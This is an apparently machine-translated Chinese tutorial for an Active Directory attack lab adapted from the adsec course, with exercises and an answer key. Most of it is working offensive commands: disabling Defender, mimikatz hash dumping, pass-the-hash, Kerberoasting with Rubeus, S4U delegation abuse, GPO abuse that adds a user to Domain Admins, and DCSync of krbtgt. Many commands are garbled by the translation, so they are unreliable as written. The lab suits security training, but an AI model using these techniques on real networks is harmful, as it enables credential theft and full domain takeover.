Active-Directory-Security-101 手冊
後置知識
剛入門的小夥伴京東或者淘寶買這本書可以去看看
Windows Server 2012 R2系統配置指南_戴有偉編著
文章是根據https://github.com/cfalta/adsec改編的。
環境搭建
https://github.com/cfalta/adsec/tree/main/lab-setup
- DC-Windows 2019
- 使用者傑克-Windows 2019
- SqlServer-Windows 2019
配置域控
新增一個網絡卡,三個虛擬機器使用這個網絡卡設定指定ip我是直接複製虛擬機器,需要更改mac地址和sid還需要更改sid可以使用系統內建的工具sysprep或者另外一個newsid工具https:// newsid.softag.com/download
- 關閉防火牆
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
- 關閉Windows Defender
解除安裝-WindowsFeature -Name Windows-Defender
下載自動化指令碼輔助安裝
https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts
執行createdomain指令碼,自己修改裡面的域名稱。
這裡應該不能一步完成
先執行
安裝-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
重啟之後繼續執行。重啟後執行這個檔案功能就是根據json檔案去自動新增使用者和組等等。
配置域內機
在兩臺成員機器上使用以下兩個域賬號註冊
約翰·多伊 | 約翰 | P@ssw0rd |
---|---|---|
李小龍 | 流血 | 鐵拳真棒! |
攻擊機器準備
用john登入user1這臺機器,當做點,再分配一張網絡卡,讓他出網。
預設工具包下載地址
https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools
獵犬安裝及配置
資訊收集
匯入電源模組
cd C: \a ttacker-tools cat -raw " .\PowerView.ps1 " |交換器
獲取當前域的基本資訊和域控位置
獲取域 獲取域控制器
獲取域計算機 獲取域使用者
過濾出域管出來
獲取域使用者| ? { $_ .memberof -like " *域管理員* " } 獲取域使用者| ? { $_ .memberof -like " *域管理員* " } | 選擇 相同的帳戶名
課後習題
參考答案我會選擇最後面哦
- 域裡有多少臺計算機以及它們在什麼上面執行?
- 域有多少使用者?顯示所有屬性查詢語句進行,以表格形式呈現給使用者,只有相同的使用者名稱、顯示名、描述和最後一次密碼更改的時間。
- 你能識別出哪些自定義的管理員組?以通用方式更改上面的powershell,只能返回自定義管理組。
- 找到對應管理員組的成員,這些使用者上一次設定的密碼是什麼時候?
- 有快速識別出域中服務帳戶的方法嗎?寫一個powershell查詢,所有簡單的服務帳戶。
NTLM的利用
- 模仿
- psexec
需要管理員許可權,使用本地管理員使用者登入
特權::除錯 令牌::提升 lsadump::sam
獲得到管理員雜湊
7dfa0531d73101ca080c7379a9bff1c7pth 攻擊
sekurlsa::pth /user:Administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab
psexec.exe \\ user2 cmd
課後習題
- mimikatz 執行"privilege::debug"和"token::elevate"的目的是什麼?為什麼需要執行它們?
- 以李小龍的身份登入1。使用您在上面的使用者的知識。 john 從記憶體中遠端提取幫助李小龍的 NTLM 雜湊。
- 如何解決 PTH 問題,請講清楚原因。
- 是否有可能(可能會)完全不是NTLM?解釋你的理由。
Kerberos-烘焙
預習資料網路——AS-REP Roasting
載入外掛
cd C: \a ttacker-tools 貓生的。\ PowerView.ps1 | 交換器 貓生的。\I nvoke-Rubeus.ps1 | 交換器
查詢SPN,獲得服務使用者
獲取域使用者-SPN | 選擇 samaccountname、 description、pwdlastset、serviceprincipalname
Rubeus 有一個統計 kerberos 資料的功能
Invoke-Rubeus -Command " kerberoast /stats "
獲取目標賬戶的TGS
Invoke-Rubeus -Command " kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt "
這裡的指令碼是base64之後通過powershell記憶體載入
函式 呼叫-Rubeus([string]$Command) { $Message = " base64 " ; $Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String( $Message )) [Rubeus.Program]::Main( $Command .Split( " " )) }
破解TGS
. \j ohn.exe .. \. . \k rb5tgs.txt --wordlist=.. \. . \e xample.dict --rules=passphrase-rule2
課後習題
- 描述一下您認為最好的緩解技術,並解釋其原因。
- 還有一個使用者會受到 ASREP 的影響,請找出來。
- 解釋一下TGS vs. ASREP烘焙
Kerberos(委託)
Get-DomainUser -TrustedToAuth
視委派的目標
Get-DomainUser -TrustedToAuth | 選擇 -ExpandProperty msds-allowedtodelegateto
Invoke-Rubeus -Command " hash /password:Amsterdam2015 /domain:wing.lab /user:service1 "
Rubeus 允許在新的登入會話中啟動 powershell。只有在這個時候我們即將的票證會話中,不會干擾使用者john 已經的kerboers 票證。使用s4u 請求一個TGS 模擬域管理使用者Bruce(bwillis) )攻擊user1。我們請求3個不同服務的票證CIFS將用於SMB訪問HOST/RPCS forWMI
呼叫-魯伯-Command “ S4U /使用者:服務1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab / PTT ” 呼叫-魯伯-Command “ S4U /使用者:服務1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser: bwillis /msdsspn:host/user1.wing.lab / PTT “ 呼叫-魯伯-Command ” S4U /使用者:服務1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab / PTT “
檢視檢查的報告自己前面
我設定錯了,委派的目標應該設定成user2,user1 是,但都一樣。
ls \\ user1.wing.lab \C $
通過wmi控制user1
Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com
課後習題
- 在上面的操作中,您通過SMB和WMI獲得了伺服器使用者的讀取許可權。現在通過這兩個協議來執行。目標是執行以下命令,將使用者john新增到本地管理組
- 試點模擬域管理員使用者查克·諾里斯不是“布魯斯·威利斯。有什麼作用”
ACL攻擊
資訊收集
貓生的。\S harpound.ps1 | 交換器
Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
- CollectionMethod Dc只表示僅從域控收集資料。從opsec的角度來看,這樣比較好,因為是流量正常。
- Stealth單執行緒啟動。速度較慢,但安全。
- PrettyJson 格式化.json檔案。
- NoSaveCache 不儲存儲存檔案。
啟動血犬下載社群版的neo4jhttps://neo4j.com/download-center/#releases
❯ jdk11 ❯ ./neo4j 開始
先把service1標記為已陷陷點這裡點選這裡使用者對域控的組策略有可訪問許可權,通過組策略利用,攻擊DC需要先以service1的身份登入
runas /user:wing.lab \s ervice1 powershell
. \S harpGPOAbuse.exe --AddComputerTask --TaskName " Update " --Author contoso \a dminuser --Command " cmd.exe " --Arguments ' /c net group \"Domain Admins\" john /ADD ' --GPOName “預設域控制器策略” --force
寫完以後,等管理員更新組策略才有可能觸發。
手工弄弄。提權成功登陸到域控。
課後習題
許可權維持
許可權維持的東西比較多
- 金銀筆記本
- 後門
- 等等等等
一般DC許可權就先執行
lsadump::dcsync /user:krbtgt
課後習題
參考答案
資訊收集
powerview3.0 技巧
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
- 域裡有多少臺計算機以及它們在什麼上面執行?
- 域有多少使用者?顯示所有屬性查詢語句進行,以表格形式呈現給使用者,只有相同的使用者名稱、顯示名、描述和最後一次密碼更改的時間。
- 你能識別出哪些自定義的管理員組?以通用方式更改上面的powershell,只能返回自定義管理組。
Get-DomainGroupMember -Identity “域管理員” -Recurse
- 找到對應管理員組的成員,這些使用者上一次設定的密碼是什麼時候?
- 有快速識別出域中服務帳戶的方法嗎?寫一個powershell查詢,所有簡單的服務帳戶。
獲取域使用者-SPN | 選擇 serviceprincipalname,userprincipalname,pwdlastset,lastlogon
NTLM
- mimikatz 執行"privilege::debug"和"token::elevate"的目的是什麼?為什麼需要執行它們?
privilege::debug - 提升為管理員許可權 token::elevate - 獎勵獎勵,獲得其他使用者的獎勵系統許可權
- 以李小龍的身份登入1。使用您在上面的使用者的知識。 john 從記憶體中遠端提取幫助李小龍的 NTLM 雜湊。
lsadump::dcsync /domain:wing.lab /user:bruce 轉儲所有資料 lsadump::dcsync /domain:wing.lab /all /csv
- 如何解決 PTH 問題,請講清楚原因。
- 打上打kb2871997禁止並且SID=500的管理員使用者
- 監控日誌
- 是否有可能(可能會)完全不是NTLM?解釋你的理由。
- 審查收到的 NTLM 調查:允許對所有帳戶的審查
- 僅傳送NTLMv2響應。
Kerberos(烘焙)
- 描述一下您認為最好的緩解技術,並解釋其原因。
- 禁止使用者開啟Do not require Kerberos preauthentication
- 禁止弱口令
- 還有一個使用者會受到 ASREP 的影響,請找出來。
Get-DomainUser -PreauthNotRequired -Verbose
- 解釋一下TGS vs. ASREP烘焙
https://www.4hou.com/posts/YVyM
Kerberos(委託)
- 在上面的操作中,您通過SMB和WMI獲得了伺服器使用者的讀取許可權。現在通過這兩個協議來執行。目標是執行以下命令,將使用者john新增到本地管理組:
- psexec
wmic /node:user1 process call create " cmd.exe /c net localgroup Administrators john /add "
- 試點模擬域管理員使用者查克·諾里斯不是“布魯斯·威利斯。有什麼作用?”
訪問控制列表
acl 攻擊有哪些利用工具?